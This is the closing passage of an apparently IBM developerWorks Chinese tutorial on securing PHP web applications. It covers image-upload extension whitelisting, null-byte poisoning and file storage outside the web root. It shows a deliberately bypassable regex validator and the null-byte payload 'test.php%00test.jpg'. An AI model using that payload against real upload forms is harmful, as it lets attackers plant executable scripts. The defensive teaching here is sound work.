    $ext = pathinfo($file, PATHINFO_EXTENSION);
    
    return in_array($ext, $validExtensions);        
}

如果位置不为 null,IsNullPoisoned 函数就检查任何 null 字节的字符串并返回 true,而 IsValidImageExtension 函数会检查确保文件名没有 null 中毒,且其扩展名位于白名单中。

清单 31. 具有已添加文件扩展名验证的 CMA 用户图片功能
if (!IsValidImageExtension($_FILES["picture"]["name"]))
    die("Error uploading image.");

要防止攻击,请将用户提交文件的名称传递到 IsValidImageExtension 函数,如果返回 false,就会终止脚本。

使用 PHP,我建议您避免基于常规表达式的扩展名筛选器。清单 32 显示了可绕过的验证函数。

清单 32. 不安全的扩展名验证
function IsValidImageExtension($file)
{
    return preg_match('/\.(jpg|png|gif)$/i', $file);    
}

虽然 清单 32 中的实施防止了一些攻击,但是 preg_match 函数可能很容易受到 null 字节中毒的影响:test.php%00test.jpg

虽然 清单 33 显示了对此的反措施,但是由于增加了的复杂性,所以避免了这种情况的发生。

清单 33. 改正过的基于常规表达式的验证
function IsValidImageExtension($file)
 {
     return !IsNullPoisoned($file) && preg_match('/\.(jpg|png|gif)$/i', $file);
 }

在您使用 preg_match 以前为 null 字节中毒检查文件名以便防止攻击者注入字符串终止字符。

请确保修补所有 SQL 注入漏洞以便使攻击者停止使用数据库服务器功能来控制文件系统。如果应用程序无需这样的功能,请考虑使用数据库权限禁用该功能。如果可能的话,请在单独的服务器上而不是 HTTP 服务器上运行数据库服务器。

对于额外的安全层来说,如果直接访问是不必要的,那么久通过使用 web 服务器功能在文件根以外存储用户上传的文件或者禁止访问用户。如果攻击者能够绕过文件扩展名筛选器,那么这种方法会使访问和执行恶意脚本变得更加困难。不要给予上传目标文件夹的客户端控制;否则,攻击者就可能使用目录遍历(在本教程的前面已介绍过)来在未受保护的目录中存储文件。


总结

如前所述,本教程绝不是全面的。实际上,由于软件安全的不断变化所以不会存在这样的来源。针对不断发展的攻击者,最好的保护就是保持定期查阅有关新的安全威胁。对于一些深入研究为何会发生漏洞和如何避免这些漏洞的最佳来源,见 参考资料。请记住,正如不能声称系统没有漏洞那样,本教程也不能被视为完全安全。


下载

描述名字大小
教程样例代码CMA-Source.zip9KB

参考资料

学习

获得产品和技术

  • jQuery Mobile CDN:使用 jQuery Mobile 的缩小和压缩版本快速获得 jQuery Mobile。
  • MAMP: Mac - Apache - MySQL - PHP:获得并安装基于 Mac 的 Apache、MySQL、& PHP 环境本地服务器环境。
  • XAMPP:获得非常易于安装的 Apache Distribution for Linux®、Solaris、Windows 和 Mac OS X。该软件包包括 Apache web 服务器、MySQL、PHP、Perl、一台 FTP 服务器和 phpMyAdmin。
  • Fiddler:下载并尝试在您的计算机和 Internet 之间记录所有 HTTP 的 web 调试代理。
  • IBM 产品评估试用版软件:下载或 IBM SOA 人员沙箱,并开始使用来自 DB2®、Lotus®、Rational®、Tivoli® 和 WebSphere® 的应用程序开发工具和中间件产品。

讨论

条评论

developerWorks: 登录

标有星(*)号的字段是必填字段。


需要一个 IBM ID?
忘记 IBM ID?


忘记密码?
更改您的密码

单击提交则表示您同意developerWorks 的条款和条件。 查看条款和条件

 


在您首次登录 developerWorks 时,会为您创建一份个人概要。您的个人概要中的信息(您的姓名、国家/地区,以及公司名称)是公开显示的,而且会随着您发布的任何内容一起显示,除非您选择隐藏您的公司名称。您可以随时更新您的 IBM 帐户。

所有提交的信息确保安全。

选择您的昵称



当您初次登录到 developerWorks 时,将会为您创建一份概要信息,您需要指定一个昵称。您的昵称将和您在 developerWorks 发布的内容显示在一起。

昵称长度在 3 至 31 个字符之间。 您的昵称在 developerWorks 社区中必须是唯一的,并且出于隐私保护的原因,不能是您的电子邮件地址。

标有星(*)号的字段是必填字段。

(昵称长度在 3 至 31 个字符之间)

单击提交则表示您同意developerWorks 的条款和条件。 查看条款和条件.

 


所有提交的信息确保安全。


static.content.url=http://www.ibm.com/developerworks/js/artrating/
SITE_ID=10
Zone=XML, Open source, Web development
ArticleID=680411
ArticleTitle=使用 jQuery Mobile 提高 web 应用程序安全性
publish-date=06132011